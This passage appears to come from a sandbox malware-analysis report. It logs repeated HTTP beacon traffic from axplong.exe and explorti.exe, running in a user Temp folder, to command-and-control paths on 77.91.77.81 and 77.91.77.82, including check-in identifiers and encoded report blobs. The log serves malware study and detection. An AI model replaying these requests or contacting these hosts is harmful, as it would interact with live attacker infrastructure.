Jul 24, 2024 02:40:18.617496967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49884	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:17.703085899 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000343001&unit=246122658369
Jul 24, 2024 02:40:18.440121889 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49886	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:18.573263884 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:19.281718016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:19.282524109 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:19.509383917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49887	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:18.735312939 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:19.459831953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:19.462512970 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:19.693958044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49888	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:19.657496929 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:20.376709938 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:20.377554893 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:20.608264923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49889	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:19.803447962 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:20.502366066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:20.504025936 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:20.729662895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49890	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:20.719471931 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:21.437131882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:21.437773943 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:21.656582117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49891	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:20.847889900 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:21.549571991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:21.550323963 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:21.771100998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49892	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:21.774346113 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:22.491508961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:22.492208004 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:22.719871044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49893	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:21.919364929 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:22.663044930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:22.663717985 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:22.893179893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49896	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:22.837620974 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:23.539458036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:23.560434103 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:23.953532934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49900	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:23.013097048 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:23.714462996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:23.722794056 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:23.954350948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49901	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:24.106837988 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:24.845238924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:24.847440958 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:25.114538908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49902	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:24.106919050 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:24.843142986 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:24.843858957 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:25.110850096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49903	85.28.47.31	80

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:24.585292101 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
